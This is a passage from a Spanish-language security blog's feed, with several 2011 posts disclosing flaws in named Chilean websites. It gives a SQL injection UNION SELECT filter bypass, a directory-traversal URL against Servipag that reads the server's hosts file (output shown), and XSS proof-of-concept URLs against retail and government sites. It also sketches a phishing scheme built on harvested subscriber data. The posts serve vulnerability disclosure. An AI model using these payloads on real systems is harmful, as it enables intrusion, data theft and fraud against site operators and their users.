<p>Para saltarnos el filtro SQL Injection, es de la misma forma, las sentencias SQL las debemos escribir con mayúsculas y listo, por ejemplo <strong>OR+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+&#8211;+</strong>, tenemos como resultado el error sql indicandonos exactamente lo que escribimos:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_5.png"><img class="aligncenter size-full wp-image-2590" title="cooperativa_5" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_5.png" alt="" width="581" height="99" /></a></p>
<p>Ahora lo único que nos queda es empezar a <strong>jugar</strong> y encontrar la cantidad de columnas para poder extraer información de la base de datos.</p>
<p><strong>Un ataque más sofisticado &#8230;</strong></p>
<p>Este sitio corresponde a un lugar para descargar/comprar música &#8220;legalmente&#8221;, donde los usuarios (me imagino) se registran, introducen sus datos personales y van comprando musica mediante su tarjeta de credito (?), bien &#8230; Imaginemos un ataque un poco más elaborado, tenemos un SQL Injection donde podemos obtener la lista de todos los suscritos al sitio (correo, web, telefono y algún otro dato), luego elaboramos un sitio identico (pero falso) e invitamos a los usuarios a &#8220;<strong>Descargar musica a $1</strong> (<em>un peso</em>)&#8221;, les pedimos que seleccionen las canciones que desean, inicien sesión y realicen la compra, el usuario encantado comprará muchas canciones pero cuando termine de enviar el último formulario misteriosamente aparece un mensaje que dice &#8220;<em>Ha ocurrido un error inesperado. Intente mas tarde</em>&#8220;, pero <em>por debajo</em>, el sitio envió todos sus datos personales a un sitio externo y ahora sus datos personales están en manos del atacante.</p>
<p>La vulnerabilidad fue reportada</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-en-cooperativa-cl-saltandose-los-filtros%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/"  data-text="Vulnerabilidades en Cooperativa.cl: Saltándose los filtros." data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Falabella y Ripley: ¿Sitios realmente seguros?</title>
		<link>http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/</link>
		<comments>http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/#comments</comments>
		<pubDate>Sun, 14 Aug 2011 08:25:45 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[falabella]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[ripley]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[verisign]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2595</guid>
		<description><![CDATA[Falabella y Ripley son dos &#8220;grandes tiendas&#8221; que permiten que sus clientes puedan realizar compras online, ambas dicen ser &#8220;100% seguras&#8221; y están certificadas por VeriSign. El primer error: existe la seguridad al 100% ? Ambos sitios son vulnerables a ataques Cross-Site Scripting, permitiendo que un atacante use el sitio web de cada tienda para [...]]]></description>
			<content:encoded><![CDATA[<p>Falabella y Ripley son dos &#8220;<em>grandes tiendas</em>&#8221; que permiten que sus clientes puedan realizar compras online, ambas dicen ser &#8220;100% seguras&#8221; y están certificadas por VeriSign. El primer error: <strong>existe la seguridad al 100% ?</strong></p>
<p><center><a href="http://blog.zerial.org/wp-content/uploads/2011/08/logo_falabella.gif"><img class="alignnone size-full wp-image-2596" style="margin-top: 2px; margin-bottom: 2px;" title="logo_falabella" src="http://blog.zerial.org/wp-content/uploads/2011/08/logo_falabella.gif" alt="" width="193" height="51" /></a><a href="http://blog.zerial.org/wp-content/uploads/2011/08/logo_ripley.gif"><img class="alignnone size-full wp-image-2597" style="margin: 2px;" title="logo_ripley" src="http://blog.zerial.org/wp-content/uploads/2011/08/logo_ripley.gif" alt="" width="161" height="56" /></a></center></p>
<p>Ambos sitios son vulnerables a ataques Cross-Site Scripting, permitiendo que un atacante use el sitio web de cada tienda para falsificar contenido y robar información o realizar estafas, aprovechandose de la confianza que el usuario tiene en el sitio web.<br />
Los sitios afectados son: <strong>http://www.falabella.cl</strong> y <strong>http://www.ripley.cl</strong> incluyendo los sitios &#8220;seguros&#8221; (https) de cada uno.</p>
<p>Lo más irónico es que los sitios estan &#8220;certificados&#8221; por una empresa de seguridad que según ellos:</p>
<blockquote><p>Verisign, líder mundial en certificación de comercio electrónico.</p></blockquote>
<p>Aunque no me sorprende, luego de <a href="http://blog.zerial.org/seguridad/cross-site-scripting-en-sitio-verisign-chile-e-sign/">haber encontrado hace un tiempo un XSS en el propio sitio web de VeriSign</a>.</p>
<p>Otra cosa que tambien les debería dar verguenza a estas empresas es <em>prometer</em> 100% de seguridad al usuario, como dice en sus propios sitios web:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/ripley1.png"><img class="aligncenter size-full wp-image-2600" title="ripley1" src="http://blog.zerial.org/wp-content/uploads/2011/08/ripley1.png" alt="" width="464" height="342" /></a></p>
<p>Todo esto es una <strong>mentira</strong>.</p>
<p><span id="more-2595"></span></p>
<p>Con las 2 imagenes que veran a continuación, no habrá mucho que explicar&#8230;</p>
<p>1. <a href="http://blog.zerial.org/wp-content/uploads/2011/08/falabella_ripley.png"><img class="aligncenter size-full wp-image-2605" title="falabella_ripley" src="http://blog.zerial.org/wp-content/uploads/2011/08/falabella_ripley.png" alt="" width="675" height="554" /></a></p>
<p>2. <a href="http://blog.zerial.org/wp-content/uploads/2011/08/ripley_falabella.png"><img class="aligncenter size-full wp-image-2606" title="ripley_falabella" src="http://blog.zerial.org/wp-content/uploads/2011/08/ripley_falabella.png" alt="" width="642" height="512" /></a></p>
<p>Ripley mostrando contenido de Falabella y Falabella mostrando contenido de Ripley, incluso usando sus sitios &#8220;super seguros&#8221; <strong>https</strong>.</p>
<p>Perfectamente el atacante podría suplantar el sitio web de cualquier de estas dos tiendas y, por ejemplo, en https://www.falabella.cl en lugar de mostrar el contenido de Ripley, mostrar un sitio web de Falabella <strong>FALSO</strong>, donde se invite al usuario a unas increíbles ofertas y que para acceder a ellas sólo debe iniciar sesión.</p>
<p>Ambos sitios prometen la máxima seguridad, dicen estar certificados, usar certificados SSL de un millón de bits que permiten una transacción segura, que los clientes le confien los datos, que ellos <strong>nunca</strong> pedirán datos por correo pero sin embargo &#8230; Pero qué pasa si te llega un correo con links verdaderos a http<strong>S</strong>://www.falabella.com o http<strong>S</strong>://www.ripley.cl  ? Si ellos mismos están diciendo que confien en ellos &#8230; Obviamente el usuario hará click y caerá en la trampa que las mismas tiendas le pusieron.</p>
<p>Este articulo no busca ser un analisis profundo de seguridad de las grandes tiendas, simplemente una prueba más de las <span style="text-decoration: line-through;">mentiras</span> <strong>falsas promesas</strong> que hacen los portales de internet que por obligación <strong>DEBEN</strong> ser seguros, pero no los son.</p>
<p>La vulnerabilidad fue reportada a Falabella el 21 de Julio y hasta el momento no he obtenido respuesta, en Ripley estoy esperando que me digan donde puedo enviar el reporte.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffalabella-y-ripley-%25c2%25bfsitios-realmente-seguros%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/"  data-text="Falabella y Ripley: ¿Sitios realmente seguros?" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Servipag.cl: El portal chileno de pagos online más inseguro</title>
		<link>http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/#comments</comments>
		<pubDate>Mon, 01 Aug 2011 02:36:26 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[altos estandares de seguridad]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[directory traversal]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[local file include]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2519</guid>
		<description><![CDATA[La idea de este post es dejar al descubierto como reaccionan las empresas cuando se les reporta un problema de seguridad critico, como no son capaces de responder e intentan esconder el error. Servipag es un servicio para pago de cuentas en linea, muchos usuarios hacen uso de este servicio sin saber realmente a quien [...]]]></description>
			<content:encoded><![CDATA[<p>La idea de este post es dejar al descubierto como reaccionan las empresas cuando se les reporta un problema de seguridad critico, como no son capaces de responder e intentan esconder el error.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png"><img class="aligncenter size-full wp-image-2520" title="servipwned" src="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png" alt="" width="271" height="90" /></a></p>
<p>Servipag es un servicio para pago de cuentas en linea, muchos usuarios hacen uso de este servicio sin saber realmente a quien estan entregando su información.</p>
<p>En la sección &#8220;<a href="http://www.servipag.com/browse.asp?pagina=web/quienes_somos.htm">Quienes somos</a>&#8221; podemos ver el siguiente mensaje:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/servip21.png"><img class="aligncenter size-full wp-image-2523" title="servip2" src="http://blog.zerial.org/wp-content/uploads/2011/07/servip21.png" alt="" width="453" height="70" /></a></p>
<p>Como es de costumbre de todas estas empresas, todas tienen un &#8220;alto estandar de seguridad&#8221; y todos invierten millones y millones en las ultimas tecnologias y ultimos estandares de seguridad, pero todos nosotros sabemos que eso es una <strong>mentira</strong>.</p>
<p>Según ellos:</p>
<blockquote><p>Seguridad<br />
Contamos con las herramientas de más <strong>alto nivel en seguridad</strong> y eficiencia que la tecnología virtual ofrece en el mercado actualmente.</p></blockquote>
<p>Desde hace meses que Servipag.cl es vulnerable a distintos tipos de ataques que afectan directamente al servidor y tambien a los usuarios. Las vulnerabilidades que se reportaron en este sitio son Directory Traversal, Local File Include (LFI) y Cross Site Scripting (XSS).<br />
Al ser reportadas tardaron 2 días en dar una respuesta. Como ya es un hecho en la mayoria de los sitios web, no cuentan con un procedimiento para reportar vulnerabilidades lo que hace más lento todo este proceso. Por twitter, la cuenta <a href="http://twitter.com/ServipagOnLine">@ServipagOnLine</a> comenzó a seguirme y me dijo &#8220;<em>Nuestro jefe de proyectos se contactara contigo</em>&#8220;, 7 días despues lo único que he recibido es un correo que dice:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/email.png"><img class="aligncenter size-full wp-image-2528" title="email" src="http://blog.zerial.org/wp-content/uploads/2011/07/email.png" alt="" width="360" height="180" /></a></p>
<p>Le respondí cómo podía contactarme y eso fue el fin de la conversación.</p>
<p><span id="more-2519"></span></p>
<h2>Las vulnerabilidades</h2>
<h3>Local File Include &#038; Directory Traversal</h3>
<p>Esta vulnerabilidad permite navegar arbitrariamente por los archivos del sistema, pudiendo ver su contenido. La vulnerabilidad se encuentra en el archivo &#8220;browse.asp&#8221;, al pasarle mediante la variable &#8220;pagina&#8221; el archivo que deseamos ver, por ejemplo &#8220;../../../../../../../../../../../boot.ini&#8221;.</p>
<p>Antes de haber enviado el primer reporte de vulnerabilidad, esta vulnerabilidad podia ser explotada añadiendo la ruta del directorio usando los &#8220;slash&#8221; normales (/), pero magicamente durante la semana y luego de haber sido reportada, la vulnerabilidad ya no podía ser explotada de esa forma, y el sistema mostraba un error:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/errormsg.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/errormsg.png" alt="" title="errormsg" width="501" height="266" class="aligncenter size-full wp-image-2529" /></a></p>
<p>Pero gracias a la contribución de <a href="http://twitter.com/1error500">@1error500</a>, nos dimos cuenta que no había sido solucionado. El programador o quien sea que haya hecho el cambio, lo único que hizo fue un vergonzoso parche, ya que si cambiamos los &#8220;slash&#8221; por &#8220;backslash&#8221; (\), podemos explotar nuevamente la vulnerabilidad.</p>
<p>Por ejemplo: <a href="http://www.servipag.com/browse.asp?pagina=..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&#038;EstadoUsuario=0&#038;TipoConsulta=EXPRESS&#038;IdPagoSolicitado=4008706&#038;IdPeriodoSolicitado=201107">http://www.servipag.com/browse.asp?pagina=..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&#038;EstadoUsuario=0&#038;TipoConsulta=EXPRESS&#038;IdPagoSolicitado=4008706&#038;IdPeriodoSolicitado=201107</a></p>
<p><code>#<br />
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.<br />
#<br />
# This file contains the mappings of IP addresses to host names. Each<br />
# entry should be kept on an individual line. The IP address should<br />
# be placed in the first column followed by the corresponding host name.<br />
# The IP address and the host name should be separated by at least one<br />
# space.<br />
#<br />
# Additionally, comments (such as these) may be inserted on individual<br />
# lines or following the machine name denoted by a '#' symbol.<br />
#<br />
# For example:<br />
#<br />
#   102.54.94.97   rhino.acme.com     # source server<br />
#    38.25.63.10   x.acme.com       # x client host</p>
<p>127.0.0.1    localhost<br />
192.168.2.8www.servipag.com</code></p>
<p>Una verguenza de seguridad.</p>
<h3>Cross Site Scripting (XSS)</h3>
<p>Como si fuera poco, este sitio tambien es vulnerable a XSS que afectaba al mismo archivo browse.asp, pero esta vez a la variable &#8220;p&#8221; y a la variable &#8220;mensaje_error&#8221; dependiendo de la &#8220;pagina&#8221; a mostrar.</p>
<p>- http://www.servipag.com/browse.asp?pagina=web/preguntas_frecuentes4.htm&#038;bloque=Pagos%20Preguntas%20Frecuentes1&#038;p=%3Cscript%3Ealert(/XSS/)%3C/script%3E<br />
- http://www.servipag.com/browse.asp?pagina=web/msgerror.htm&#038;mensaje_error=%3C/a%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E</p>
<p>Aparentemente el error está corregido, ya que muestra el mismo mensaje de más arriba. Pero, estará realmente corregido?</p>
<p>Bueno, esto demuestra el horrible manejo de incidentes que tienen las empresas que dicen tener altos estandares de seguridad. Empresas que prometen privacidad y seguridad, hacen que los usuarios confien en ellos y nuevamente quedan al descubierto.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fservipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/"  data-text="Servipag.cl: El portal chileno de pagos online más inseguro" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Cross-Site Scripting en CMS Newtenberg Engine</title>
		<link>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/</link>
		<comments>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/#comments</comments>
		<pubDate>Wed, 13 Jul 2011 14:05:23 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[conama]]></category>
		<category><![CDATA[conicyt]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[engine]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[newtenberg]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[subdere]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2442</guid>
		<description><![CDATA[Esta plataforma de Software permite administrar contenidos y hacer sustentables sitios Web de alta complejidad. Los documentos se almacenan en un reservorio de conocimiento y pueden ser caracterizados según múltiples miradas (clasificandos). Engine apoya las labores de Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición de Contenidos, interconectando las labores del equipo de trabajo a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/articles-68132_foto_portada.gif"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/articles-68132_foto_portada.gif" alt="" title="logo newtenberg engine" width="120" height="108" class="aligncenter size-full wp-image-2443" /></a></p>
<blockquote><p>Esta plataforma de Software permite administrar contenidos y hacer  sustentables sitios Web de alta complejidad. Los documentos se almacenan  en un reservorio de conocimiento y pueden ser caracterizados según  múltiples miradas (clasificandos). Engine apoya las labores de  Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición  de Contenidos, interconectando las labores del equipo de trabajo a  través de un sistema de workflow.</p></blockquote>
<p>La vulnerabilidad está presente en el buscador de este CMS y se replica la mayoría de sus clientes/usuarios.<br />
Se deteca cuando vemos el codigo fuente del buscador, vemos que tiene un atribuo &#8220;onsubmit=doSearch()&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/src_form_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/src_form_conama.png" alt="" title="src_form_conama" width="488" height="20" class="aligncenter size-full wp-image-2447" /></a></p>
<p>Al realizar la busqueda, la función doSearch() nos cambia el href:</p>
<pre name="code" class="c">function doSearch() {
				// Delete search's cookies
                if( "exists".match ) {
                    var results = document.cookie.match(/\w+=/g);
						if( results ) {
							for( var i=0; i < results.length; i++ ) {
								if( results[i].substring(0,7) == 'search_' ) {
									deleteCookie( results[i].substring(0,results[i].length-1) );
								}
							}
						}
                	}

					setCookie('search_keywords',document.searchForm.keywords.value);
					setCookie('search_start', 0 );
					setCookie('search_group', 0 );
					setCookie('search_expanded', 0 );
					document.location.href="w3-propertyvalue-16131.html";
                    return false;
                } </pre>
<p>Y cuando carga el sitio "w3-propertyvalue...." podemos ver en el codigo fuente que se genera el siguiente javascript:</p>
</pre>
<pre name="code" class="c">var url = 'http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query';
	url+= '&#038;engine=SwisheFind';
	url+= '&#038;rpp=';
	url+= '&#038;cid=815';
	url+= '&#038;stid=';
	url+= '&#038;iid=1257';
	url+= '&#038;grclass=resultado-busqueda';
	url+= '&#038;pnid=';
	url+= '&#038;pnid_df=';
	url+= '&#038;pnid_tf=';
	url+= '&#038;pnid_search=2033,1999,1849';
	url+= '&#038;limit=';
	url+= '&#038;searchon=';
	url+= '&#038;channellink=';
	url+= '&#038;articlelink=w3:article';
	url+= '&#038;pvlink=w3:propertyvalue';
	url+= '&#038;notarticlecid=';
	url+= '&#038;use_cid_owner_on_links=';
	url+= '&#038;show_ancestors=';
	url+= '&#038;show_pnid=';
	url+= '&#038;cids=815';
	if( "exists".match ) {
		var results = document.cookie.match(/\w+=/g);
		if( results ) {
			for( var i=0; i < results.length; i++ ) {
				if( results[i].substring(0,7) == 'search_' ) {
					url += '&#038;' + results[i].substring(7,results[i].length) + escape( getCookie( results[i].substring(0,results[i].length-1) ) );
				}
			}
		}
	} else {
		url+= '&#038;start=' + getCookie( 'search_start' );
		url+= '&#038;keywords=' + escape(getCookie( 'search_keywords' ));
	}
	url+= '&#038;prepnidtext=' + escape('');
	// Descomentar la siguiente linea para depurar
	//document.write( '<' + 'iframe width="500" height="500" src="' + url + '">' + + '< ' + '/iframe>' );
	url+= '&#038;javascript=1';
	document.write( '<scr ' + 'ipt language="JavaScr' + 'ipt" type="text/javascr' + 'ipt" src="' + url + '"> < \/scr' + 'ipt>' );</scr></pre>
<p>Esta vulnerabilidad afecta el propio sitio web de la empresa y a casi todos sus clientes.<br />
A partir de este codigo javascript generado por el CMS, construiremos nuestro XSS.</p>
<p><span id="more-2442"></span></p>
<p>Para este ejemplo, lo que nos interesa es el valor final de la variable &#8220;url&#8221;, que en este caso es algo similar a:</p>
<p><strong>http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query&#038;engine=SwisheFind&#038;rpp=&#038;cid=815&#038;stid=&#038;iid=1257&#038;grclass=resultado-busqueda&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=2033,1999,1849&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=w3:article&#038;pvlink=w3:propertyvalue&#038;notarticlecid=&#038;use_cid_owner_on_links=&#038;show_ancestors=&#038;show_pnid=&#038;cids=815&#038;keywords=prueba</strong></p>
<p>Ya nos salimos del dominio <em>conama.cl</em> y entramos a jugar al subdominio <em>ntg-engine.conama.cl</em>, donde está instalado el motor (engine) del CMS. Si abrimos la URL de prueba, podemos ver el siguiente resultado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/busqueda_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/busqueda_conama.png" alt="" title="busqueda_conama" width="469" height="221" class="aligncenter size-full wp-image-2450" /></a></p>
<p>Aparece en <strong>negrita</strong> la palabra que buscamos. Si en lugar de prueba insertamos un codigo javascript, será ejecutado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_conama.png" alt="" title="xss_poc_conama" width="670" height="410" class="aligncenter size-full wp-image-2451" /></a></p>
<p>Los sitios afectados son:</p>
<p><a href="http://www.newtenberg.com">Newtenberg &#8211; http://www.newtenberg.com</a><br />
<a href="http://www.sinia.cl">SINIA (Sistema Nacional de Informacion Ambiental) &#8211; http://www.sinia.cl</a><br />
<a href="http://www.mma.gob.cl">Ministerio del Medio Ambiente &#8211; http://www.mma.gob.cl</a><br />
<a href="http://www.siss.gob.cl">Superintendencia de Servicios Sanitarios &#8211; http://www.siss.gob.cl</a><br />
<a href="http://ri.conicyt.cl">Repositorio Institucional CONICYT &#8211; http://ri.conicyt.cl</a><br />
<a href="http://www.redlideres.cl">Red Lideres &#8211; http://www.redlideres.cl</a><br />
<a href="http://www.puntolex.cl">Punto Lex &#8211; http://www.puntolex.cl</a><br />
<a href="http://www.subdere.gov.cl">Subsecretaria de Desarrollo Regional y Administrativo &#8211; http://www.subdere.gov.cl</a><br />
<a href="http://www.conama.cl">CONAMA &#8211; http://www.conama.cl</a><br />
<a href="http://www.elperiodista.cl/">El Periodista &#8211; http://www.elperiodista.cl/</a><br />
<a href="http://www.colombiaaprende.edu.co">Colombia Aprende &#8211; http://www.colombiaaprende.edu.co</a></p>
<p>Cada uno de estos sitios construye su propia URL dependiendo de los parametros, cuando hagamos una busqueda y veamos el codigo fuente, podemos ver el javascript generado automaticamente y crear nuestra URL explotable a partir de la variable &#8220;url&#8221;.</p>
<p><strong>PoC Subsecretaria de Desarrollo Regional y Administrativo (SUBDERE)</strong></p>
<p>URL: <strong>http://engine.subdere.gov.cl/mod/find/cgi/find.cgi?action=query&#038;engine=&#038;rpp=20&#038;cid=876&#038;stid=&#038;iid=1510&#038;grclass=&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=2403,2400,2444,2460,2530,2570,2544,2569,2541,2571&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=w3:article&#038;pvlink=w3:propertyvalue&#038;notarticlecid=&#038;use_cid_owner_on_links=&#038;show_ancestors=1&#038;show_pnid=1&#038;cids=876&#038;keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_subdere.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_subdere.png" alt="" title="xss_poc_subdere" width="644" height="422" class="aligncenter size-full wp-image-2454" /></a></p>
<p><strong>PoC en el propio sitio de Newtenberg</strong></p>
<p>URL: <strong>http://engine.newtenberg.com/mod/find/cgi/find.cgi?action=query&#038;engine=SwisheFind&#038;rpp=10&#038;cid=924&#038;stid=5686&#038;iid=1765&#038;grclass=resultadobusqueda&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=&#038;pvlink=&#038;notarticlecid=0&#038;use_cid_owner_on_links=0&#038;show_ancestors=&#038;show_pnid=&#038;cids=924&#038;keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E<br />
</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_newtenberg.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_newtenberg.png" alt="" title="xss_poc_newtenberg" width="660" height="406" class="aligncenter size-full wp-image-2459" /></a></p>
<p>El error se produce al no filtrar el contenido de la variable &#8220;<strong>keywords</strong>&#8220;.</p>
<p>No se descarta que puedan haber mas sitios afectados.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcross-site-scripting-en-cms-newtenberg-engine%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/"  data-text="Cross-Site Scripting en CMS Newtenberg Engine" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad SQL Injection + Cross-Site Scripting en sitio web del CLCERT</title>
